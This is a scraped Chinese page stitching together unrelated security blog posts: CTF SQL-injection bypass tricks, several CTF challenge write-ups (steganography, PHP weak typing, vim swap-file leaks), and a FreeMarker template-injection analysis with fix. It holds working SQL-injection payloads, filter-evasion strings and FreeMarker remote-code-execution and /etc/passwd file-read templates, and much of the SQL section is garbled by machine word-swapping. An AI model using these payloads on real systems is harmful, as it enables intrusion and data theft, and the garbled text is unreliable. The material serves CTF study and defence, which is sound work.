整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

分享一下本人在CTF比赛中SQL注入的一些小技巧

来花了一点光阴总结了各大平台中注入的trick,本身照样太菜了,多数都得看题解,就特此做了一个paper便利总结

正文符

以下是Mysql中可以或许用到的单行正文符:

# -- -

以下是Mysql中可以或许用到的多行正文符(mysql下必要闭合):

/*

断定以后库能否有字段名

对付CTF中的题,某些可以或许间接断定有没有flag表1′ or(flag)比方:全表

用or试一下

这里说明一下为何or的成果为何不全,说白了也便是atoi函数的特征

or(列名)实在是遍历字段名中的每一个值而后拔取那些不为false的内容,由于在mysql中’ssdd’字符串默许即是0即是false以是不表现,而’4ddf’如许的字符串默许即是4,也便是true也就会前往了

limit下的字段数断定

家喻户晓where前提下的字段数可以或许用order by断定,而limit后可以或许应用 1,into @,@ (@为字段数)断定字段数@为mysql暂时变量,

道理请看http://www.w3school.com.cn/sql/sql_select_into.asp

or前提下的回显

曩昔总是对where id='1' or '1'='1'where id='0' or '1'='1'的回显不停不是很懂得,以是本日搭建情况测试了一下,以下可见

以是预测在or前提下先后假如都为真则前往一切成果,不然只前往前提为真的一方的值

concat与concat_ws与group_concat

1.2 MySQL的concat函数在衔接字符串的时刻,只需此中一个是NULL,那末将前往NULLMySQL的concat函数在衔接字符串的时刻,只需此中一个是NULL,那末将前往NULL

mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)

和concat分歧的是, concat_ws函数在履行的时刻,不会由于NULL值而前往NULL

mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)

盲注下的前提语句和光阴函数

这是我头几天刷wechall碰着的题,比方一下注入语句

select * from test1 where id='$_GET[id]';

已知没有回显位,id=3和id=1前往成果分歧样而且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B徒弟当时的payload

if(substr(flag,1,1)in(0x41),3,0)

写个剧本爆破之可得flag而基于光阴的注入曩昔都是不停用的if(xxxxxx,1,sleep(2));最也发明了一个更好的函数BENCHMARK

IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)

BENCHMARK函数是指履行某函数的次数,次数多时可以或许到达与sleep函数雷同的后果

逻辑操纵符被过滤

先放一波like语法http://www.runoob.com/mysql/mysql-like-clause.html

绕过\’被过滤

hex编码

SELECT password FROM Users WHERE username = 0x61646D696E

char编码

SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

html实体字符编码

SELECT FROM Users WHERE username = 'admin'

%2527

这里重要是由于绕过magic_quotes_gpc过滤,由于%25解码为%,联合后面的27也便是%27也便是',以是胜利绕过过滤。

宽字节就不说了gbk编码在单引号后面加一个%df便可

表名等关键字被过滤

以information_schema.tables为例

空格 information_schema . tables

着重号 information</em>schema.tables

特别符 /!informationschema.tables/

别号 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)

表单认证绕过

这里选两题一题是试验吧的web分类第一题

"SELECT username FROM users WHERE username='$username' AND password='$password'"

如许的间接username=admin'#便可,或许username='='&password='='如许就可以结构出

"SELECT username FROM users WHERE username=''='' AND password=''=''"

以是逻辑断定绕过第二题是iscc的简略注入,预测大抵后盾语句以下,PS:后盾暗码是md5处置过的

$results = SELECT password FROM users WHERE username='$username'if($results==$_GET[$password]){

这里可以或许结构username=0' union select md5(1)#&password=1

Mysql字符编码应用技能

传入的username=admin%c2,php的检测if ($username === ‘admin’)天然就可以够绕过的,在mysql中可以或许失常查出username=’admin’的成果,道理是Mysql在转换字符集的时刻,将不完备的字符给疏忽了。详细可参照P徒弟文章https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

隐式范例转换

这里先上几个图,自行领会精力

这里为何咱们输出为何name=0会招致前往数据呢?实在这里跟php弱范例有殊途同归之妙,mysql在比拟一个整数和一个字符串也会强迫把字符串转化为整数停止比拟,并前往一个warning,以是这里

pupiladmin

都会被转换为0以是与0比拟相称,那末咱们进一步料想那一个非0开首的字符串强迫转化是什么呢

因而可知,与PHP同样,mysql也会把字符串强迫转化为开首的数字,若开首是字母则强迫转化为0,那咱们怎样应用这一黑邪术呢,家喻户晓,mysql同样平常都是字符型注入,很少稀有字型注入的,就像where username='input'如许,咱们纯真的输出数字是会被转化成字符串的,就像如许

这时刻咱们就必要做一些操纵来结构注入点了,好比应用算术运算符

+,-,*,/,%

又或许位操纵符

&,|,^

上面咱们以+为例停止演示

过滤了&,|,*,/,=等逻辑处置字符

可以或许用in,exists,position..in,>,<,!,<>,like等操纵符绕过这个链接有详细先容http://www.runoob.com/mysql/mysql-like-clause.html这里举一个例子,好比要应用sql盲注的话然则过滤了substr,mid,asccii,ord等函数可以或许应用一下语句

admin' AND password LIKE "p%" --

一点实战例子

陕西省收集空间平安

过滤了

/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"

这里没有过滤^,以是可以或许绕过,payload

username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1

pwnhubcuit校赛

过滤了

/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i

这里过滤了&,|,*,=等标记和substring,mid可以或许应用in,exists,>,<,<>,比拟运算符绕过,payload

'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'

webhacking,kr

过滤了

union|and|||&|=|urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco

这里这里if和substr都没被过滤,而且空格可以或许被%0a绕过,以是payload

%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)

末了总结一下注入题(手工注入。。)的同样平常思绪(大牛轻喷),对付同样平常注入首先要找到注入点,好比有许多参数的先肯定哪一个参数好注入,再测验考试有没有过滤或许过滤了那些字符,waf本身能否有问题招致间接可以或许大小写,双写,编码绕过的。固然同样平常ctf中的题注入假若有waf同样平常都是过滤不完全的,耐烦点就可以够找出payload,末了便是留意一下参数提交的方法,有时刻一些标题get方法过滤的很严厉然则post只是意味性的过滤一下,另有一些用$_REQUEST方法的留意除get和post还可以或许测验考试cookie注入。


目地址

http://www.shiyanbar.com/ctf/56

解题链接:

http://ctf5.shiyanbar.com/DUTCTF/1.html

题目描述:

打开链接如下图所示,确实是什么鬼东西。

题目解析:

1.它们其实是Jother编码,它是一种运用于Javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式,其中少量字符包括"[","]","{","}","(",")","!","+"。这些字符就能完成对任意字符串的编码,本质上是一种Javascript的编码,其优点是代码字符就那么几个,比较好记,缺点是编码极其冗长和复杂。

2.这种编码一般现在只会出现在CTF比赛中,实际开发中用的到就很少了。

2.打开Chrome浏览器,按F12键选择控制台Console,将代码复制过去回车即可得到flag值。

3.得到该题的密码:Ihatejs。

正确答案:Ihatejs

参考链接:

https://www.writeup.top/391.html


二.隐写术之水果


隐写术是一门关于信息隐藏的技巧与科学,所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容。隐写术的英文叫做Steganography,来源于特里特米乌斯的一本讲述密码学与隐写术的著作Steganographia,该书书名源于希腊语,意为“隐秘书写”。在CTF题目中,图片隐写题属于杂项的一部分,题目较为简单。

题目地址:

http://www.shiyanbar.com/ctf/1903

解题链接:

http://ctf5.shiyanbar.com/stega/pic.png

题目描述:

打开网页如下图所示,显示一张水果的图片 ,flag就隐藏在图片中。作者第一反应是查看源代码,哈哈~原谅我这个小白第一次学习。

题目解析:

1.将图片另存为本地。

2.从CSDN下载Stegsolve工具,它是用于图像解析的工具,然后导入本地图片,按方向键右键不断切换,直到出现下图的二维码。

如下图所示:

3.使用手机扫描二维码,得到一串数字,我们根据数值可以分析,这是十进制的ASCII码。

4.将数字转换为ASCII,45对应“-”、46对应“.”、32对应空格。











45 46 45 46 32         -.-. 45 32                  - 46 46 45 46 32         ..-. 46 45 46 46 32         .-.. 46 46 46 32            ... 45 46 46 46 32         -... 46 46 45 45 46 45 32   ..--.- 45 46 46 46 32         -... 46 46 46 32            ... 46 45 46 46 32         .-..

5.它们就是传说中的摩斯密码。根据下面的对照表,其结果为:CTFLSB_BSL

摩尔斯电码(又译为摩斯密码,Morse code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。它发明于1837年,发明者有争议,是美国人塞缪尔·莫尔斯或者艾尔菲德·维尔。摩尔斯电码是一种早期的数字化通信形式,但是它不同于现代只使用零和一两种状态的二进制代码,它的代码包括五种:点、划、点和划之间的停顿、每个字符之间短的停顿、每个词之间中等的停顿以及句子之间长的停顿。

正确答案:CTF{lsb_bsl}


参考链接:

https://blog.csdn.net/miko2018/article/details/81627130

https://www.cnblogs.com/nul1/p/9594387.html

https://blog.csdn.net/u012486730/article/details/8201670


三.隐写术之小苹果


题目原理和上一题一样。


题目地址:

http://www.shiyanbar.com/ctf/1928

解题链接:

http://ctf5.shiyanbar.com/stega/apple.png

题目描述:

题目打开也是一张图片,中国结。

题目解析:

1.下载图片至本地并打开,得到如下二维码:

2.二维码包含如下数字


\u7f8a\u7531\u5927\u4e95\u592b\u5927\u4eba\u738b\u4e2d\u5de5

这是unicode编码的方式,让我们在相关网站(搜索“unicode解码即可”)中进行解码,得到中文“羊由大井夫大人王中工”,这是一种从未见过的加密方式。

3.通过百度了解到该加密为当铺密码,曾在CTF题目中出现过,我们按照编码规则进行解码,得到数字:9158753624。

当铺密码是一种将中文和数字进行转化的密码,算法相当简单:当前汉字有多少笔画出头,就是转化成数字几。“羊由大井夫大人王中工”对应的数字为“9158753624”

4.再回头分析图片可知,里面包含了一个压缩文件,我们通过修改扩展名为.ZIP并解压,得到了apple.mp3的音频文件。

5.使用mp3隐写术工具MP3Stego的Decode.exe对其进行解码,密码就是我们刚刚得到的那串数字9158753624。解码后得到字串Q1RGe3hpYW9fcGluZ19ndW99。


6.通过尝试,在base64解码中得到了正确的结果:CTF{xiao_ping_guo}。


正确答案:CTF{xiao_ping_guo}


四.WEB之天网管理系统


题目地址:

http://www.shiyanbar.com/ctf/1810

解题链接:

http://ctf5.shiyanbar.com/10/web1/index.php

题目描述:

题目显示如下图所示,需要输入正确的用户名和密码获取flag。

考点:PHP弱类型

题目解析:

1.查看网页源代码如下所示,注意注释的提示。


<!-- $test=$_GET[\'username\']; $test=md5($test); if($test==\'0\') -->

2.需要用户名传入一个字符串,并且它经过md5加密后要等于0。注意,PHP某些情况会把类数值数据(如含有数字的字符串等)转换成数值处理。在使用“= =” 运算符对两个字符串进行比较时,PHP会把类数值的字符串转换为数值进行比较,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。比如: ‘3’ == \'3ascasd’结果为true。


因此只要找到一个字串加密后第一个字符为0即可,这里提供几个:240610708、aabg7XSs

3.用户名输入“aabg7XSs”,此时返回的提示信息如下图所示。

http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

4.访问该页面显示内容如下图所示:

函数serialize()是对输入的数据进行序列化转换,把变量和它们的值编码成文本形式。

函数unserialize()是还原已经序列化的对象,对单一的已序列化的变量进行操作,将其转换回反序列化 PHP 的值。






$unserialize_str = $_POST[\'password\'];$data_unserialize = unserialize($unserialize_str);if($data_unserialize[\'user\'] == \'???\' && $data_unserialize[\'pass\']==\'???\') {     print_r($flag);}

这段代码是将Post提交的密码值经过unserialize()函数 反序列化处理,得到一个数组,要求数组里的user和pass都等于值“???”,此时输出flag。那么,这个“???”又是什么内容呢?

5.此时“成也布尔,败也布尔”提醒我们。bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)













<?phperror_reporting(0);$test=\'\';$test=array("user"=>1,"pass"=>1);echo var_dump($test);echo var_dump(serialize($test));$test1=\'\';$test1=array("user"=>true,"pass"=>true);echo var_dump($test1);echo var_dump(serialize($test1));?>

找个在线PHP网站进行测试,输出如下图所示:string(36) “a:2:{s:4:“user”;i:1;s:4:“pass”;i:1;}”

6.构造password值为:a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;},输出最后的flag。

正确结果:ctf{dwduwkhduw5465}

参考链接:

https://blog.csdn.net/dongyanwen6036/article/details/77650921

https://www.cnblogs.com/ssooking/p/5877086.html


五.WEB之忘记密码


题目地址:

http://www.shiyanbar.com/ctf/1808

解题链接:

http://ctf5.shiyanbar.com/10/upload/step1.php

题目描述:

题目显示如下图所示,需要输入正确的邮箱找回密码。

考点:vim备份文件泄露

题目解析:

1.首先我们随便输入一个密码,如“123456”看返回结果。

返回如下图所示,注意“step2.php”页面。

2.查看源代码,发现提醒用户名为admin,输入邮箱为“admin@simplexue.com”。

输入该邮箱发现Scripts提醒变成了“邮箱已送到管理员邮箱了,你看不到”,真是逗~

3.这里有个细节,Step2.php页面跳转了一下,然后又跳转回step1,说明step2里面有猫腻!页面跳转这么快,那我们该怎么去看这个页面呢?这时候要用到一个名叫Burp Suite的神器,抓包拦截。

Step2.php显示立刻跳转:

方法一:在Target查看目录树发现有个“submit.php”文件。

方法二:使用Repeater,查看响应Response。

将GET方法的网址修改为step2.php,然后响应表单提交为“submit.php”。

4.赶紧查看该网页,结果提醒“you are not an admin”,有权限访问该页面,但不是管理员不透露信息。有意思~

5.再回到最初step1.php的源代码,这里有个非常重要的提示信息——编辑器采用的是VIM。

VIM备份文件(参考Sp4rkW大神) 默认情况下使用VIM编程,在修改文件后系统会自动生成一个带 ~ 的备份文件,某些情况下可以对其下载进行查看。例如,index.php普遍意义上的首页,它的备份文件则为index.php~。VIM中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件“.submit.swp”。如果文件正常退出,则此文件自动删除。

这个题目叫备份文件泄露,我们知道这个VIM编辑器可以存放临时文件,而临时文件会存放信息,咱们可以尝试一下访问临时文件,格式如下:


ctf5.shiyanbar.com/10/upload/.submit.php.swp

PS:因为vim备份文件是隐藏文件,所以需要加上一个点“.submit.php.swp”。

6.尝试打开.submit.php.swp文件。

重点是后面的if判断语句,这个条件必须要满足token的长度必须等于10,并且token的值为0,咱们可以构造十个0试试。
















........这一行是省略的代码........if(!empty($token)&&!empty($emailAddress)){  if(strlen($token)!=10) die(\'fail\');  if($token!=\'0\') die(\'fail\');  $sql = "SELECT count(*) as num from `user` where token=\'$token\' AND email=\'$emailAddress\'";  $r = mysql_query($sql) or die(\'db error\');  $r = mysql_fetch_assoc($r);  $r = $r[\'num\'];  if($r>0){    echo $flag;  }else{    echo "失败了呀";  }}

7.最终构造的结果如下:


http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000


然后访问得到如下结果:


正确答案:flag is SimCTF{huachuan_TdsWX}


参考链接:

https://www.cnblogs.com/ECJTUACM-873284962/p/7860788.html

https://blog.csdn.net/wy_97/article/details/76559354


六.WEB之false


题目地址

http://www.shiyanbar.com/ctf/1787

解题链接:

http://ctf5.shiyanbar.com/web/false.php

题目描述:

题目显示如下图所示。

考点:PHP代码审计(PHP Code Audit)

题目解析:

1.首先随便输入内容,点击“Login”按钮。


http://ctf5.shiyanbar.com/web/false.php?name=1&password=2


2.点击“View the source code”获取源代码如下所示。













<?phpif (isset($_GET[\'name\']) and isset($_GET[\'password\'])) {    if ($_GET[\'name\'] == $_GET[\'password\'])        echo \'<p>Your password can not be your name!</p>\';    else if (sha1($_GET[\'name\']) === sha1($_GET[\'password\']))      die(\'Flag: \'.$flag);    else        echo \'<p>Invalid password.</p>\';}else{  echo \'<p>Login first!</p>\';?>

它的含义是GET获取name和password,然后进行判断。

(1)if ($ _GET[‘name’] == $ _GET[‘password’]),用户名和密码相等,提示如下。

(2)else if (sha1($ _GET[‘name’]) === sha1($ _GET[‘password’])),用户名名和密码的sha1加密散列值相等,执行die函数。

(3)以上都不是返回“Invalid password”。

(4)未输入用户名和密码,提示“Login first”。

3.函数说明:

  • die()函数:停止程序运行,输出内容
  • sha1()函数:计算字符串 “Hello” 的 SHA-1 散列。默认的传入参数类型是字符串型
  • isset()函数:检测变量是否已设置并且非 NULL。
  • 若变量不存在则返回 FALSE, 若变量存在且其值为NULL,也返回 FALSE ,若变量存在且值不为NULL,则返回 TURE。同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE。

参考官网:https://www.php.net/manual/zh/function.isset.php


















<?php$a = array (\'test\' => 1, \'hello\' => NULL, \'pie\' => array(\'a\' => \'apple\'));var_dump(isset($a[\'test\']));            // TRUEvar_dump(isset($a[\'foo\']));             // FALSEvar_dump(isset($a[\'hello\']));           // FALSE// 键 \'hello\' 的值等于 NULL,所以被认为是未置值的。// 如果想检测 NULL 键值,可以试试下边的方法。var_dump(array_key_exists(\'hello\', $a)); // TRUE// Checking deeper array valuesvar_dump(isset($a[\'pie\'][\'a\']));        // TRUEvar_dump(isset($a[\'pie\'][\'b\']));        // FALSEvar_dump(isset($a[\'cake\'][\'a\'][\'b\']));  // FALSE?>

4.这里需要执行“if (sha1($ _GET[‘name’]) === sha1($ _GET[‘password’]))”语句。


重点:sha1()函数默认的传入参数类型是字符串型,也可以传入其他类型,使其返回值为false,如数组类型。再加上题目标题false,可以想到构造FALSE===FALSE拿到flag。

= =:比较运算符号 不会检查条件式的表达式的类型 ===:恒等计算符 , 同时检查表达式的值与类型。

构造网址:



http://ctf4.shiyanbar.com/web/false.php?name[]=1&password[]=2

5.name和password为数组,并且值不相等,提交即可获得flag。

正确结果:Flag: CTF{t3st_th3_Sha1}


七.WEB之天下武功唯快不破


题目地址:

http://www.shiyanbar.com/ctf/1854

解题链接:

http://ctf5.shiyanbar.com/web/10/10.php

题目描述:

题目显示如下图所示,提醒“You must do it as fast as you can!”。

考点:Python脚本

题目解析:

1.尝试SQL注入都无反应,接着查看源代码,发现一个提示信息:



<!-- please post what you find with parameter:key -->

2.根据题目内容,试图将网页链接速度放慢,这里可以采Burp Suite抓包,Proxy的intercept载入网页,并将抓到的信息发到repeater中Go一下,会发现一个FLAG值。另一种方法,Chrome浏览器审查网络状态。

3.在响应头中发现了FLAG,看起来像是一个Base64编码,尝试在线解码。

但是该值每次生成的值是随机的。

FLAG:UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOnZhbmRmQXp1Zg==

解码:P0ST_THIS_T0_CH4NGE_FL4G:vandfAzuf


FLAG:UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOktsSVBLWmVkOQ==

解码:P0ST_THIS_T0_CH4NGE_FL4G:KlIPKZed9


4.回想之前的注释(please post what you find with parameter:key)以及解密后的FLAG值,需要快速提交POST,故采用Python脚本实现。哈哈,又回到熟悉的语言。

# -*- coding: utf8 -*-import requestsimport base64url = \'http://ctf5.shiyanbar.com/web/10/10.php\'s = requests.session()response = s.get(url)#获取FLAG值#FLAG: UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOnZhbmRmQXp1Zg==head = response.headersflag = base64.b64decode(head[\'FLAG\']).split(\':\')[1]print(flag)#设置POST请求pdata = {\'key\': flag}result = s.post(url=url, data=pdata)print(result.text) #响应

5.运行得到如下结果。

正确答案:CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

x01 前言

最近和 F1or 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。

有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。

三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI

0x02 FreeMarker SSTI

FreeMarker 官网:http://freemarker.foofun.cn/index.html

对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本

FreeMarker 基础语法

关于文本与注释,本文不再强调,重点看插值与 FTL 指令。

插值

插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出

比如这一个 .ftl 文件

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>Hello ${name}!</title>  
    <link href="/css/main.css" rel="stylesheet">  
</head>  
<body>  
    <h2 class="hello-title">Hello ${name}!</h2>   
    <script src="/js/main.js"></script>  
</body>  
</html>

那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数

FTL 指令

FTL 指令以 # 开头,其他语法和 HTML 大致相同。

我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。

https://freemarker.apache.org/

FreeMarker SSTI 成因与攻击面

看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。

将 HTML 语句放到服务器上有两种方法:

1、文件上传 HTML 文件。

2、若某 CMS 自带有模板编辑功能,这种情况非常多。

因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的

在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。

环境搭建

一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧

https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview

漏洞复现

前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我

payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

【----帮助网安学习,需要网安学习资料关注我,私信回复“资料”免费获取----】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。

漏洞复现如图

漏洞分析

我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。

下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试

跟进 super.createView()

进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。

buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了)

继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法

checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。

跟进 getTemplate() 方法

首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate

这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。

跟进 getTemplateInternal()

先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法

这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy

代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。

这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。

org.springframework.web.servlet.DispatcherServlet#doDispatch 流程

handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。

调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender

跟进 this.processTemplate()

跟进 process()

process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。

process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。

在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进

跟进 calculateInterpolatedStringOrMarkup() 方法

calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法

eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下

而对于 ftl 表达式来说,accept 方法是这样的

跟进一下 accept() 方法

做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval()

我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于

Object result = targetMethod.exec(argumentStrings);

// 等价于

Object result = freemarker.template.utility.Execute.exec(argumentStrings);

而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。

命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图

至此,分析结束,很有意思的一个流程分析。

FreeMarker SSTI 的攻防二象性

我们目前的 PoC 是这么打的

<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— newapi

内置函数 new

可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

API

value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。

由此我们可以构造出一系列的 bypass PoC

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("Calc"")}

POC2

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}

POC3

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

POC4

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

读取文件

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。

2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

FreeMarker SSTI 修复

因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。

package freemarker;

import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;

public class freemarker_ssti {
    public static void main(String[] args) throws Exception {

        //设置模板
        HashMap<String, String> map = new HashMap<String, String>();
        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
        System.out.println(poc);
        StringTemplateLoader stringLoader = new StringTemplateLoader();
        Configuration cfg = new Configuration();
        stringLoader.putTemplate("name",poc);
        cfg.setTemplateLoader(stringLoader);
        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        //处理解析模板
        Template Template_name = cfg.getTemplate("name");
        StringWriter stringWriter = new StringWriter();

        Template_name.process(Template_name,stringWriter);


    }
}

防御成功

0x03 小结

